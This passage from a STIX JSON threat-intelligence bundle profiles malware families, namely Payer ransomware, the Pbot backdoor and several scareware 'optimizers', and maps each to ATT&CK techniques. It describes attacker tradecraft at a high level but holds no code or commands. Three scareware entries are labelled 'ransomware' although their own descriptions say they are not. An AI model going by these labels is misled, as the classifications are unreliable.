      "description": "Ransom:Win32/Payer is a generic categorization applied to trojans that exhibit the unmistakable behavioral patterns of Ransomware or digital extortion (`T1486`). Because new ransomware strains (like LockBit, BlackBasta, or ALPHV) are constantly compiled to avoid static signatures, AV engines use heuristics like 'Payer' to flag any unknown executable that begins rapidly encrypting user files and dropping ransom notes.<br><br><b>Understanding Payer (Ransomware Heuristics)</b><br>To an end-user, a Payer infection is a catastrophic event: their screen changes to a ransom demand, and all their documents, databases, and photos are locked with an unknown extension. For an incident response team, a Payer alert signifies that an attacker has successfully breached the network, established a foothold, and executed their final, destructive payload.<br><br><b>Execution and Extortion Mechanics</b><br>Ransomware is typically the *last* stage of an attack. Once executed, the Payer executable (`T1204.002`) aggressively terminates database services (like SQL Server) and backup agents to ensure files are unlocked for encryption (`T1489`). It then iterates through all local and mapped network drives (`T1486`), utilizing strong cryptographic algorithms (like AES or ChaCha20) to encrypt files. Finally, it uses `vssadmin.exe` to delete volume shadow copies, preventing easy restoration (`T1490`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a total loss of data availability and severe business disruption. Host-based IoCs include a massive spike in disk I/O, the rapid renaming of files to a new extension (e.g., `.locked`, `.crypted`), and the widespread creation of text or HTML files (the ransom notes) in every directory. Network IoCs may show the ransomware reporting back to a C2 server to transmit the unique encryption keys, or massive data exfiltration *prior* to the encryption event (double extortion). (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Payer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/payer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a1d4382-3b26-5915-ab02-b5019e45c6dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94b9e34c-666c-5761-88ea-d489c409587a",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Payer exhibits technique T1486 (Data Encrypted for Impact (The core defining action of ransomware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e047498-2db3-576a-b52a-7d2d6b39e6a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94b9e34c-666c-5761-88ea-d489c409587a",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Payer exhibits technique T1490 (Inhibit System Recovery (Deleting Volume Shadow Copies via vssadmin))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10697d84-f8aa-57eb-86d5-9c4147eea3d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94b9e34c-666c-5761-88ea-d489c409587a",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Payer exhibits technique T1489 (Service Stop (Terminating SQL, Exchange, and backup services))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d6420ae8-a71a-5721-a836-d6c9a2c578d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pbot",
      "description": "Pbot (tracked under signatures Backdoor:Win32/Pbot, Trojan:Win32/Pbot, and Win32/Pbot) is a modular Windows remote access backdoor and network proxy agent. Infiltrating endpoints through drive-by exploit kits, malicious torrent downloads, and multi-stage trojan droppers, Pbot establishes a stealthy presence by injecting malicious threads into legitimate Windows system processes. It secures persistence by writing registry values under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. Pbot connects to remote command-and-control servers using custom TCP or HTTP communication channels, transforming infected hosts into distributed proxy nodes for anonymizing malicious traffic. It supports dynamic module execution, allowing operators to run arbitrary remote commands, download secondary payloads, and capture sensitive network credentials. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Pbot",
        "Trojan:Win32/Pbot",
        "Win32/Pbot",
        "Backdoor.Pbot",
        "Trojan.Pbot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pbot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--042d5d87-9a90-5f72-a71c-168a80fcdbd6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6420ae8-a71a-5721-a836-d6c9a2c578d9",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pbot exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--529428ae-84cf-5ec7-bbd1-968695f04103",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6420ae8-a71a-5721-a836-d6c9a2c578d9",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pbot exhibits technique T1090 (Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4940cb31-6317-5bf2-82b5-ed7907ae77da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6420ae8-a71a-5721-a836-d6c9a2c578d9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pbot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--208e8f32-bb40-5087-9966-96f1c2270036",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6420ae8-a71a-5721-a836-d6c9a2c578d9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pbot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee980319-1cc8-50a5-bb83-adcad09d0315",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6420ae8-a71a-5721-a836-d6c9a2c578d9",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pbot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--97a9bc5a-9ea9-59a9-870f-83ecc5d9dabd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcacceleratepro",
      "description": "Rogue:Win32/Pcacceleratepro is a deceptive Potentially Unwanted Program (PUA) classified as **Scareware** or a **Rogue System Optimizer**. It is designed to deliberately mislead the user into believing their computer is severely infected, plagued with critical registry errors, or running dangerously slow. The ultimate goal is to panic the user into purchasing a fraudulent 'premium' license to fix these non-existent issues.<br><br><b>Understanding PC Accelerate Pro Scareware</b><br>To an end-user, PC Accelerate Pro is terrifying. Suddenly, their screen is filled with flashing red alerts, terrifying system warnings, and constant pop-ups claiming their hard drive is failing. For a security analyst, this is a social engineering attack disguised as software. The software itself is largely harmless to the OS (it doesn't steal data or encrypt files), but it severely disrupts productivity and attempts to extort money from the user via credit card fraud.<br><br><b>Execution and Deception Mechanics</b><br>PC Accelerate Pro is typically installed via deceptive malvertising (fake 'Your PC is Infected!' banners) or bundled with freeware (`T1189`). Upon execution (`T1204.002`), it establishes persistence via the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key so it launches every time the computer boots (`T1547.001`). It then initiates a 'scan' of the system. Regardless of the actual health of the computer, the scan is hardcoded to return hundreds of critical errors (`T1562`). It heavily utilizes the Windows UI to generate intrusive, uncloseable pop-up warnings, often disabling the Task Manager (`T1562.001`) to prevent the user from terminating the application easily.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is severe user panic, complete loss of productivity, and potential financial fraud if the user inputs their credit card. IoCs include EDR alerts for the installation of known rogue software binaries (e.g., `PCAcceleratePro.exe`). Host-based indicators include the sudden appearance of aggressive system-tray alerts and the unauthorized modification of registry keys intended to disable administrative tools. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcacceleratepro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcacceleratepro"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ccde97f-0465-5e7c-b7a4-53cc82b0af1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a9bc5a-9ea9-59a9-870f-83ecc5d9dabd",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcacceleratepro exhibits technique T1189 (Drive-by Compromise (Fake antivirus malvertising))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89b743de-ed81-5caa-9dbb-c3c1620ce277",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a9bc5a-9ea9-59a9-870f-83ecc5d9dabd",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcacceleratepro exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager to prevent closure))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4dadeb60-3dbd-5454-8350-a968daf41cd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a9bc5a-9ea9-59a9-870f-83ecc5d9dabd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcacceleratepro exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9bccd1be-b13f-5ede-aa93-5a6807d6ede2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a9bc5a-9ea9-59a9-870f-83ecc5d9dabd",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcacceleratepro exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--831d1a92-3144-5ac1-8993-a1d23115dda4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcbooster",
      "description": "<h3>Executive Summary</h3>\nPCBooster is a deceptive Potentially Unwanted Program (PUP) that operates as \"Rogue Security Software\" or a fake system optimizer. It employs classic scareware tactics, performing superficial or completely fabricated system \"scans\" to generate alarming false-positive reports about fragmented drives, registry errors, or impending hardware failures. Its sole objective is to frighten the user into purchasing a \"premium license\" to fix the non-existent problems.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPCBooster relies almost entirely on aggressive malvertising and deceptive software bundling. Users typically encounter it via alarming pop-up ads claiming their \"PC is critically slow\" or when downloading freeware from third-party aggregators, where the utility is installed silently in the background.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a rapid, fake \"scan\" of the system. It invariably reports hundreds of \"critical system errors,\" creating a false sense of urgency and impending system instability.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants may employ locking tactics. They may constantly overlay the screen with warnings or fake Blue Screens of Death (BSODs), effectively holding the user's workflow hostage until they pay the ransom (buys the \"license\").</li>\n<li><strong>Persistent Nagging:</strong> The software establishes persistence via registry `Run` keys and scheduled tasks, ensuring that even if the user closes the application, it repeatedly re-launches and interrupts workflow with purchase prompts.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, PCBooster poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and the constant alarming pop-ups create severe disruption.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.PCBooster",
        "PUP.FakeOptimizer",
        "Scareware.Win32"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcbooster",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcbooster"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99544907-cc9c-501c-81a7-cd04e9a66163",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--831d1a92-3144-5ac1-8993-a1d23115dda4",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcbooster exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--271c50cd-f2ad-56f9-b212-4752bf15dc14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--831d1a92-3144-5ac1-8993-a1d23115dda4",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcbooster exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0d34c70-dc41-594c-a18e-c2cf31987e80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--831d1a92-3144-5ac1-8993-a1d23115dda4",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcbooster exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--84e90896-0eb2-5394-87f5-05f087becac3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pcclean",
      "description": "PUA:Win32/Pcclean represents a highly prevalent category of Potentially Unwanted Programs (PUAs) known as **Scareware** or **Rogue System Optimizers**. Pcclean is heavily marketed as a helpful utility to speed up a slow computer, clean the registry, and remove junk files. However, it is designed to deliberately mislead the user. It generates fake or exaggerated system errors, attempting to panic the user into purchasing a fraudulent 'premium' license to fix these non-existent issues.<br><br><b>Understanding Pcclean Scareware</b><br>To an end-user, Pcclean creates a sense of urgency. Suddenly, their screen is filled with alerts warning that 1,245 critical registry errors exist and a system crash is imminent. For a security analyst, this is a social engineering attack disguised as utility software. While Pcclean rarely contains destructive payloads like ransomware, it severely disrupts productivity, attempts financial extortion, and frequently bundles secondary adware during installation.<br><br><b>Execution and Deception Mechanics</b><br>Pcclean is typically installed via deceptive malvertising or bundled with freeware (`T1189`). Upon execution (`T1204.002`), it establishes persistence via the Registry Run keys so it launches every time the computer boots (`T1547.001`). It then initiates a highly visual 'scan' of the system. Regardless of the actual health of the computer, the scan is hardcoded to return severe warnings about system instability (`T1562`). It heavily utilizes the Windows UI to generate intrusive, uncloseable pop-up warnings. If the user clicks 'Fix Errors', they are immediately redirected to a payment portal.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is severe user panic, loss of productivity, and potential financial fraud. IoCs include EDR alerts for the installation of known rogue software binaries (e.g., `pccleaner.exe`, `sysoptimizer.exe`). Host-based indicators include the sudden appearance of aggressive system-tray alerts and unauthorized registry modifications. Network logs may show traffic to payment gateways associated with known PUA affiliates. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pcclean",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pcclean"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75d1f751-803d-5e92-93b3-116a51632484",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84e90896-0eb2-5394-87f5-05f087becac3",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcclean exhibits technique T1189 (Drive-by Compromise (Fake update malvertising))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7800517-4111-523d-9470-49104b4599ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84e90896-0eb2-5394-87f5-05f087becac3",
      "target_ref": "attack-pattern--233c2a7d-34cd-5ba5-8e03-f1b2d741dbe8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcclean exhibits technique T1562 (Impair Defenses (Generating fake system alerts to cause panic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48ee4590-669f-5384-844e-79858a25c6f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84e90896-0eb2-5394-87f5-05f087becac3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcclean exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--344bf0bd-3f03-56c2-9f6d-f2a2f3dd282d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84e90896-0eb2-5394-87f5-05f087becac3",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pcclean exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--43f9798b-5189-5f37-943e-c5bb0c174626",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pccleaner",
      "description": "PCCleaner (classified in antimalware engines under designations including PUA:Win32/PCCleaner, Program:Win32/PCCleaner, and Rogue:Win32/PCCleaner) is a Potentially Unwanted Application and rogue system optimization utility that misleads Windows users regarding their computer's stability and operational health. Distributed through misleading pay-per-install bundles, deceptive software update portals, and aggressive popup advertisements, PCCleaner automatically initiates simulated system scans upon installation. The software intentionally reports hundreds or thousands of fabricated 'critical errors', harmless registry keys, and ordinary browser cookie caches as urgent security hazards and system crashes. PCCleaner locks down its remediation features, presenting persistent pop-ups and full-screen warning banners demanding that the victim purchase a paid premium license key to 'fix' the non-existent problems. Additionally, PCCleaner establishes persistent autostart entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, installs telemetry background tasks, and continually consumes system CPU and RAM. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/PCCleaner",
        "Program:Win32/PCCleaner",
        "Rogue:Win32/PCCleaner",
        "Win32/PCCleaner",
        "PC Cleaner Pro Rogue"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pccleaner",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pccleaner"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7efb3e03-6791-53bd-9496-8c873b6f0e46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43f9798b-5189-5f37-943e-c5bb0c174626",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleaner exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c0ae22a-d5db-5542-ad69-89e2d04e6249",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43f9798b-5189-5f37-943e-c5bb0c174626",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleaner exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abd1d45e-1cf6-5f48-a02e-0a5655aa7ce0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43f9798b-5189-5f37-943e-c5bb0c174626",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleaner exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67227cee-be43-528e-becd-b3834a3b0ccb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43f9798b-5189-5f37-943e-c5bb0c174626",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleaner exhibits technique T1491 (Defacement (UI Manipulation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--325df820-b54b-57d7-9afa-24d12d7b7135",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43f9798b-5189-5f37-943e-c5bb0c174626",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pccleaner exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fbd79c02-7d0c-571e-a03f-684a77b639f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pccleaners",
      "description": "<h3>Executive Summary</h3>\nPCCleaners (often detected as Rogue.PCCleaners or PUP.FakeOptimizer) is a deceptive Potentially Unwanted Program (PUP) operating as \"Rogue Security Software\" or a fake system optimizer. It employs classic scareware tactics, performing superficial system \"scans\" to generate alarming false-positive reports about critical registry errors, outdated drivers, or severe fragmentation. Its sole objective is to frighten the user into purchasing a \"premium license\" to fix these non-existent problems.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPCCleaners relies almost entirely on aggressive malvertising and deceptive software bundling. Users typically encounter it via alarming browser pop-ups claiming their \"PC is critically slow\" or when downloading freeware from third-party aggregators, where the utility is installed silently alongside the desired software.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a fake \"scan\" of the system. It invariably reports hundreds of \"critical system errors\" or \"privacy risks,\" creating a false sense of urgency and impending system instability.</li>\n<li><strong>System Hostage (Nagging):</strong> While not a screen-locker, it establishes aggressive persistence via registry `Run` keys and scheduled tasks, ensuring that it repeatedly interrupts workflow with high-pressure purchase prompts demanding credit card information.</li>\n<li><strong>Uninstallation Friction:</strong> The software often makes it deliberately difficult for the user to uninstall it via the standard Windows Control Panel, sometimes attempting to reinstall itself if the core registry keys are not properly deleted.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, PCCleaners poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and users may unwittingly hand over valid credit card details to cybercriminals.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus sometimes ignores PUPs. Utilize a reputable enterprise anti-malware solution specifically tuned for Rogue Software and Scareware removal to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Manual Registry Cleanup:</strong> If automated removal fails, IT administrators may need to manually remove the orphaned registry keys in `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` that are forcing the software to launch.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.PCCleaners",
        "PUP.FakeOptimizer",
        "Scareware.PCClean"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pccleaners",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pccleaners"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e58a3ce-a313-5cef-a9d9-7e5cf9fbd032",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbd79c02-7d0c-571e-a03f-684a77b639f4",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
